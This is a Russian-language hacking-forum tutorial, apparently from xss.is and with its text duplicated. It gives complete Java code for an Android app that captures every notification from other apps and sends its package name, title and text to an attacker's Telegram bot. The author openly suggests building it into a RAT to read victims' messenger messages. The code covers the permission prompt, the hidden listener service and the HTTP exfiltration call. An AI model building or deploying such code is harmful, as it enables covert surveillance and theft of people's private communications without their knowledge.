D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: zebra0_0
Источник: https://xss.is
Всем привет. В этой статье хочу рассказать про принцип создание приложения на Java для android устройств для удалённого получения уведомлений с телефона, и самое главное дам практические пример кода с готовым приложением.
Учебные материалы:
Внимание: Это часть статьи состоит исключительно из материалов для чайников, то есть новичков в java разработке(Это надо чтоб меня не просила толпа новичков в лс помочь с установкой).
И так, любой java проект начинается с его создания, писать я буду в android stuido так-как лучше пока ничего не придумали. В ней вам надо просто создать "Empty Activity" на java.
Почему именно на Java? потому-что java это нативный язык для платформы android, то есть android написан в какой-то части на java(Ещё на Kotlin) и не нуждается в дополнительной установке.
Далее у вас откроется проект в кортом можно приступать к разработке.
Разбираю и объясняю создание проекта:
И так создание, Но перед тем как начать делать надо понять зачем оно вообще надо:
Разрешения:
Каждое приложения на android которое хочть что-то делает должно получать разрешения на свою работу.
Для работы данного приложения на надо получить всего 2 разрешения, а имено:
XML: Скопировать в буфер обмена
XML: Скопировать в буфер обмена
Важно: Запрос разрешения на доступ к уведомлениям не является автоматическим и не запрашивается у пользователя одной кнопкой, для того чтоб его получить надо перенаправить пользователя в настройки где ему уже в свою очередь надо поставить галочку/переключатель на против приложения(Код для этого оставлю ниже).
Фото пример:
Принцем работы:
Данное приложения если говорить более правильно имеет цель автоматического прослушивания уведомлений, получаемых от других приложений на устройстве Android, и отправки их содержимого через Telegram-бота по вашему chat id.
Из чего состоит:
Создание приложения:
Для работы данного приложения надо добавь библиотеку okhttp3 в зависимости файла build.gradel.kts.
okhttp3 - это популярная библиотека для работы с HTTP-запросами на платформе Java и Android. Она позволяет удобно отправлять запросы к серверу и обрабатывать ответы.
Build.gradel.kts - это файл конфигурации сборки, используемый в проектах, основанных на Gradle, с синтаксисом Kotlin. Gradle — это система автоматизации сборки, которая управляет зависимостями, компиляцией кода, тестированием и другими аспектами процесса сборки приложения. С помощью build.gradle.kts вы можете настроить, как ваше приложение будет строиться и какие зависимости будут использоваться.
добавлять его надо потому-что okhttp3 это не встроенная библиотека java.
Структура классов:
MainActivity.java:
1.Импотры:
Java: Скопировать в буфер обмена
В этом блоке мы импортируем необходимые классы и библиотеки, которые будут использоваться в приложении. Это включает классы для работы с активностями, диалогами, уведомлениями и логированием.
2.Определения класса MainActivity:
Java: Скопировать в буфер обмена
Тут мы объявляем класс MainActivity, который наследуется от класса Activity. Это основная точка входа в приложение и отвечает за его пользовательский интерфейс и логику.
3.Метод onCreate():
Java: Скопировать в буфер обмена
Метод onCreate() вызывается при создании активности. Здесь мы инициализируем активность и выполняем первоначальную настройку.
4.Проверка доступа к уведомлениям:
Java: Скопировать в буфер обмена
Пояснение:
Java: Скопировать в буфер обмена
Этот метод проверяет, включен ли наш сервис слушателя уведомлений. Он извлекает список включенных слушателей и проверяет, есть ли среди них имя пакета нашего приложения.
6. Метод для отображения диалога с запросом доступа:
Java: Скопировать в буфер обмена
MyNotificationListenerService.java:
Этот класс является вложенным классом в MainActivity и наследуется от NotificationListenerService. Он отвечает за получение уведомлений, извлечение их содержимого и отправку данных через Telegram-бота.
1. Импорт необходимых библиотек:
Java: Скопировать в буфер обмена
Java: Скопировать в буфер обмена
Java: Скопировать в буфер обмена
Java: Скопировать в буфер обмена
Java: Скопировать в буфер обмена
6. Метод sendNotificationToTelegram(String message):
Java: Скопировать в буфер обмена
Как выгляди конечный результат:
Спасибо за внимание, надеюсь был полезен!
Источник: https://xss.is
Всем привет. В этой статье хочу рассказать про принцип создание приложения на Java для android устройств для удалённого получения уведомлений с телефона, и самое главное дам практические пример кода с готовым приложением.
Учебные материалы:
Внимание: Это часть статьи состоит исключительно из материалов для чайников, то есть новичков в java разработке(Это надо чтоб меня не просила толпа новичков в лс помочь с установкой).
И так, любой java проект начинается с его создания, писать я буду в android stuido так-как лучше пока ничего не придумали. В ней вам надо просто создать "Empty Activity" на java.
Почему именно на Java? потому-что java это нативный язык для платформы android, то есть android написан в какой-то части на java(Ещё на Kotlin) и не нуждается в дополнительной установке.
Далее у вас откроется проект в кортом можно приступать к разработке.
Разбираю и объясняю создание проекта:
И так создание, Но перед тем как начать делать надо понять зачем оно вообще надо:
- Как одни из элементов вашего RAT так с его помощью можно например: читать сообщения из мессенджеров
- Как элемент софта для управления телефоном(Не малваря)
Разрешения:
Каждое приложения на android которое хочть что-то делает должно получать разрешения на свою работу.
Для работы данного приложения на надо получить всего 2 разрешения, а имено:
XML: Скопировать в буфер обмена
Код:
<!-- Разрешение на доступ к интернету -->
<uses-permission android:name="android.permission.INTERNET" />
Код:
<!-- Разрешение на доступ к уведомлениям -->
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"/>
Важно: Запрос разрешения на доступ к уведомлениям не является автоматическим и не запрашивается у пользователя одной кнопкой, для того чтоб его получить надо перенаправить пользователя в настройки где ему уже в свою очередь надо поставить галочку/переключатель на против приложения(Код для этого оставлю ниже).
Фото пример:
Принцем работы:
Данное приложения если говорить более правильно имеет цель автоматического прослушивания уведомлений, получаемых от других приложений на устройстве Android, и отправки их содержимого через Telegram-бота по вашему chat id.
Из чего состоит:
Приложение состоит из 2х java классов, в моём случаи это: MainActivity.java и MyNotificationListenerService.java
Нажмите, чтобы раскрыть...
Создание приложения:
Для работы данного приложения надо добавь библиотеку okhttp3 в зависимости файла build.gradel.kts.
okhttp3 - это популярная библиотека для работы с HTTP-запросами на платформе Java и Android. Она позволяет удобно отправлять запросы к серверу и обрабатывать ответы.
Build.gradel.kts - это файл конфигурации сборки, используемый в проектах, основанных на Gradle, с синтаксисом Kotlin. Gradle — это система автоматизации сборки, которая управляет зависимостями, компиляцией кода, тестированием и другими аспектами процесса сборки приложения. С помощью build.gradle.kts вы можете настроить, как ваше приложение будет строиться и какие зависимости будут использоваться.
добавлять его надо потому-что okhttp3 это не встроенная библиотека java.
Структура классов:
MainActivity.java:
- Запрос уведомлений
- Обработка функции для уведомлений
1.Импотры:
Java: Скопировать в буфер обмена
Код:
import android.app.Activity;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.os.Bundle;
import android.provider.Settings;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import androidx.appcompat.app.AlertDialog;
В этом блоке мы импортируем необходимые классы и библиотеки, которые будут использоваться в приложении. Это включает классы для работы с активностями, диалогами, уведомлениями и логированием.
2.Определения класса MainActivity:
Java: Скопировать в буфер обмена
public class MainActivity extends Activity {
Тут мы объявляем класс MainActivity, который наследуется от класса Activity. Это основная точка входа в приложение и отвечает за его пользовательский интерфейс и логику.
3.Метод onCreate():
Java: Скопировать в буфер обмена
Код:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Метод onCreate() вызывается при создании активности. Здесь мы инициализируем активность и выполняем первоначальную настройку.
4.Проверка доступа к уведомлениям:
Java: Скопировать в буфер обмена
Код:
if (!isNotificationServiceEnabled()) {
promptNotificationAccess();
} else {
// Запуск сервиса для прослушивания уведомлений
Intent intent = new Intent(this, MyNotificationListenerService.class);
startService(intent);
finish(); // Закрыть активность только после запуска службы
}
Пояснение:
- Мы проверяем, предоставлено ли приложению разрешение на доступ к уведомлениям, с помощью метода isNotificationServiceEnabled().
- Если доступ не предоставлен, вызывается метод promptNotificationAccess(), который отображает диалоговое окно для пользователя.
- Если доступ предоставлен, создается и запускается служба MyNotificationListenerService, и активность закрывается (так как графический интерфейс не нужен).
Java: Скопировать в буфер обмена
Код:
private boolean isNotificationServiceEnabled() {
String enabledListeners = Settings.Secure.getString(
getContentResolver(),
"enabled_notification_listeners"
);
String packageName = getPackageName();
return enabledListeners != null && enabledListeners.contains(packageName);
}
6. Метод для отображения диалога с запросом доступа:
Java: Скопировать в буфер обмена
Код:
private void promptNotificationAccess() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Требуется доступ к уведомлениям");
builder.setMessage("Приложению необходимо разрешение на доступ к уведомлениям для работы.");
// Кнопка для перехода в настройки
builder.setPositiveButton("Настройки", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
startActivity(intent);
}
});
// Кнопка отмены
builder.setNegativeButton("Отмена", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
finish(); // Закрыть активность, если пользователь отменил
}
});
// Показываем диалог
AlertDialog dialog = builder.create();
dialog.show();
}
- Этот метод создает и отображает диалоговое окно, в котором пользователь получает информацию о необходимости предоставления разрешения на доступ к уведомлениям.
- В диалоге есть две кнопки:
- "Настройки": при нажатии открываются настройки, где пользователь может предоставить доступ к уведомлениям.
- "Отмена": при нажатии диалог закрывается, и активность завершает свою работу.
Заключение для MainActivity:
Класс MainActivity структурирован для выполнения четких и логических задач. Он отвечает за проверку разрешений и запуск службы для прослушивания уведомлений. Это делает код более понятным и управляемым, а также позволяет легко добавлять новые функции в будущем.MyNotificationListenerService.java:
Этот класс является вложенным классом в MainActivity и наследуется от NotificationListenerService. Он отвечает за получение уведомлений, извлечение их содержимого и отправку данных через Telegram-бота.
1. Импорт необходимых библиотек:
Java: Скопировать в буфер обмена
Код:
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
- Здесь мы импортируем необходимые классы.
- NotificationListenerService и StatusBarNotification позволяют получать уведомления от других приложений.
- Log используется для вывода отладочных сообщений в консоль.
- Библиотеки okhttp3 предоставляют необходимые инструменты для выполнения HTTP-запросов.
Java: Скопировать в буфер обмена
Код:
public class MyNotificationListenerService extends NotificationListenerService {
private static final String TAG = "NotificationListener";
private static final String BOT_TOKEN = "YOUR_BOT_TOKEN_HERE"; // Ваш токен Telegram бота
private static final String CHAT_ID = "YOUR_CHAT_ID_HERE"; // Ваш Chat ID для отправки сообщений
private static final String TELEGRAM_API_URL = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage";
- Класс MyNotificationListenerService наследуется от NotificationListenerService, что позволяет ему прослушивать уведомления.
- TAG используется для идентификации логов, чтобы их легче было отслеживать.
- BOT_TOKEN и CHAT_ID — это константы, которые нужно заполнить реальными данными вашего Telegram-бота. TELEGRAM_API_URL формируется на основе этих данных для отправки сообщений.
Java: Скопировать в буфер обмена
Код:
@Override
public void onCreate() {
super.onCreate();
Log.d(TAG, "Служба уведомлений запущена");
}
- Этот метод вызывается, когда служба создается.
- Мы вызываем super.onCreate(), чтобы инициализировать родительский класс, и выводим сообщение в лог, подтверждая, что служба была запущена.
Java: Скопировать в буфер обмена
Код:
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
// Получаем уведомление
if (sbn.getNotification() != null) {
String packageName = sbn.getPackageName();
String title = sbn.getNotification().extras.getString(Notification.EXTRA_TITLE);
String text = sbn.getNotification().extras.getString(Notification.EXTRA_TEXT);
// Формируем сообщение
String message = "Новое уведомление!\n" +
"Приложение: " + packageName + "\n" +
"Заголовок: " + title + "\n" +
"Текст: " + text;
Log.d(TAG, message);
// Отправка уведомления в Telegram
sendNotificationToTelegram(message);
}
}
- Этот метод вызывается, когда новое уведомление добавляется на панель уведомлений.
- Мы проверяем, есть ли у уведомления данные.
- Извлекаем информацию о пакете приложения, заголовке и тексте уведомления.
- Формируем строку сообщения, которую затем отправляем через метод sendNotificationToTelegram.
- В конце выводим сообщение в лог для отладки.
Java: Скопировать в буфер обмена
Код:
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
// Можно обрабатывать удаление уведомлений, если требуется
}
- Этот метод вызывается, когда уведомление удаляется.
- В данном случае метод оставлен пустым, так как обработка удаления уведомлений не требуется, но его можно использовать, если это необходимо в будущем.
6. Метод sendNotificationToTelegram(String message):
Java: Скопировать в буфер обмена
Код:
private void sendNotificationToTelegram(String message) {
OkHttpClient client = new OkHttpClient();
// Формирование данных для отправки в Telegram
String json = "{\"chat_id\":\"" + CHAT_ID + "\", \"text\":\"" + message + "\"}";
RequestBody body = RequestBody.create(json, MediaType.parse("application/json"));
Request request = new Request.Builder()
.url(TELEGRAM_API_URL)
.post(body)
.build();
// Асинхронная отправка сообщения
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
Log.e(TAG, "Ошибка при отправке сообщения в Telegram: " + e.getMessage());
}
@Override
public void onResponse(Call call, Response response) throws IOException {
if (response.isSuccessful()) {
Log.d(TAG, "Уведомление успешно отправлено в Telegram");
} else {
Log.e(TAG, "Ошибка ответа от Telegram: " + response.body().string());
}
}
});
}
}
- Этот метод отвечает за отправку сообщения в Telegram.
- Создаем объект OkHttpClient, который будет использоваться для выполнения HTTP-запросов.
- Формируем JSON-строку с данными для отправки (Chat ID и текст сообщения).
- Создаем RequestBody с необходимым заголовком Content-Type для JSON.
- Формируем HTTP-запрос с помощью Request.Builder, указывая URL и метод POST.
- Используем метод enqueue для асинхронной отправки запроса.
- Внутри колбэка onFailure обрабатываем возможные ошибки, а в onResponse проверяем успешность ответа от Telegram, логируя результат.
Заключение для MyNotificationListenerService :
Каждая часть класса MyNotificationListenerService выполняет свою определенную функцию, и вместе они обеспечивают возможность прослушивания уведомлений и их отправки через Telegram. Такой подход облегчает дальнейшую разработку и поддержку приложения, позволяя легко добавлять новую функциональность или изменять существующую.Как выгляди конечный результат:
Спасибо за внимание, надеюсь был полезен!